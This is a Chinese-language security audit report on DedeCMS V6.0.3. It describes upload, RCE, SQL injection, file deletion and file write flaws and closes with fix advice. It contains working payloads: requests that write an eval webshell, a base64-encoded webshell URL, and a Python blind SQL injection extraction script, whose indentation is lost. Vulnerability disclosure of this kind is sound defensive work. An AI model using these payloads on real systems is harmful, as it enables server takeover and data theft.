DedeCMSV6.0.3 代码审计
字数 1650 2025-08-03 16:50:30
DedeCMSV6.0.3 代码审计报告
一、漏洞概述
DedeCMSV6.0.3 存在多个高危安全漏洞,包括文件上传漏洞、远程代码执行(RCE)、DOM型XSS、SQL注入和任意文件删除漏洞等。这些漏洞可导致攻击者获取系统控制权、窃取数据或破坏系统完整性。
二、详细漏洞分析
1. 文件上传漏洞
漏洞位置:未明确指定具体文件,但存在无过滤的文件上传功能
漏洞描述:
- 系统未对上传文件进行任何过滤
- 可直接上传PHP文件
- 导致攻击者可上传WebShell获取服务器控制权
验证方法:
直接上传包含恶意代码的PHP文件即可
2. 远程代码执行(RCE)漏洞
RCE 1
漏洞位置:src/dede/article_template_rand.php
漏洞描述:
- 后台存在命令执行漏洞
- 需要绕过CSRF token验证(可通过Burp Suite绕过)
- 攻击者可写入任意PHP代码到
src/data/template.rand.php
POC:
POST /dede/article_template_rand.php?dopost=save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [包含dede_csrf_token的cookie]
_csrf_token=[dede_csrf_token的值]&templates=<?php phpinfo();?>
写入WebShell:
POST /dede/article_template_rand.php?dopost=save&templates=<?=eval($_POST[1]); HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [包含dede_csrf_token的cookie]
_csrf_token=[dede_csrf_token的值]
验证方法:
访问src/data/template.rand.php查看写入结果
RCE 2
漏洞位置:src/dede/article_string_mix.php
漏洞描述:
- 与RCE 1原理相同
- 通过
allsource参数写入恶意代码
POC:
POST /dede/article_string_mix.php?dopost=save
allsource=<?php phpinfo();?>&_csrf_token=[cookie里dede_csrf_token的值]
RCE 3
漏洞位置:未明确指定,但需要cfg_cookie_encode小于10
漏洞描述:
- 需要满足
cfg_cookie_encode小于10的条件 - 实际利用中可能难以满足此条件
3. DOM型XSS漏洞
漏洞描述:
- 文档中提到存在DOM型XSS漏洞
- 但未提供具体细节和利用方法
4. 任意文件删除漏洞
漏洞位置:
src/dede/file_manage_control.phpsrc/dede/file_class.php
漏洞描述:
- 攻击者可删除服务器上的任意文件
- 可能导致系统瘫痪或权限提升
5. SQL注入漏洞
SQL注入1
漏洞位置:src/dede/member_do.php
漏洞描述:
- 在
dopost=delmembers操作中存在SQL注入 - 需要
safecode和safecode相同 - 可进行基于时间的盲注
POC:
POST /dede/member_do.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
fmdo=yes&dopost=delmembers&id=11113)/**/or/**/if(ascii(substr(DATABASE(),1,1))=100,SLEEP(1),0)#&randcode=34335&safecode=939783ba26dceb46dbabe5a8&safecode=939783ba26dceb46dbabe5a8
自动化利用脚本:
import requests
import time
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
payload1 = "11113)/**/or/**/if(ascii(substr(DATABASE(),{0},1))={1},SLEEP(2),0)#".format(i,mid)
data1 = {"fmdo": "yes", "dopost": "delmembers",
"id":payload1, "randcode": "34335",
"safecode": "939783ba26dceb46dbabe5a8", "safecode": "939783ba26dceb46dbabe5a8"}
try:
print(i, mid)
r1 = requests.post(url, data=data1, timeout=3)
except requests.exceptions.ReadTimeout as e:
flag +=chr(mid)
print(flag)
break
else:
# 其他处理逻辑
pass
if flag == f1:
break
print(flag)
SQL注入2
漏洞位置:src/dede/member_do.php (dopost=edituser操作)
漏洞描述:
- 在用户编辑功能中存在SQL注入
- 多个参数未经过滤直接拼接到SQL语句中
SQL注入3
漏洞位置:src/dede/sys_admin_user_edit.php
漏洞描述:
- 存在SQL注入漏洞
- 但文档中提到未能成功绕过某些限制
6. 文件写入漏洞
漏洞位置:
src/dede/file_class.php中的MoveFile函数src/dede/album_add.php
漏洞描述:
album_add.php存在文件写入漏洞- 通过
litpic_b64参数写入文件 - 写入的文件是图片且文件名随机,需要爆破
- 需要配合文件包含漏洞利用
POC:
http://target.com/dede/album_add.php?dopost=save&litpic_b64=,%50%44%39%77%61%48%41%67%5a%57%4e%6f%62%79%41%78%4d%54%45%37%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%77%3d%3d,a&typeid=1&channelid=1
三、漏洞利用条件
- 对于后台RCE漏洞,需要具备后台访问权限
- 部分漏洞需要绕过CSRF token验证
- SQL注入漏洞需要满足特定条件(如
safecode相同) - 文件写入漏洞需要配合文件包含或其他漏洞利用
四、修复建议
- 对所有用户输入进行严格的过滤和验证
- 实现CSRF token机制并确保其安全性
- 对文件上传功能进行严格限制,包括文件类型检查和内容验证
- 使用预处理语句或ORM框架防止SQL注入
- 对文件操作进行严格的权限控制和路径验证
- 更新到最新版本或应用官方补丁
五、总结
DedeCMSV6.0.3存在多个高危漏洞,攻击者可以利用这些漏洞获取系统控制权、窃取敏感数据或破坏系统完整性。建议用户立即检查系统安全性并采取相应防护措施。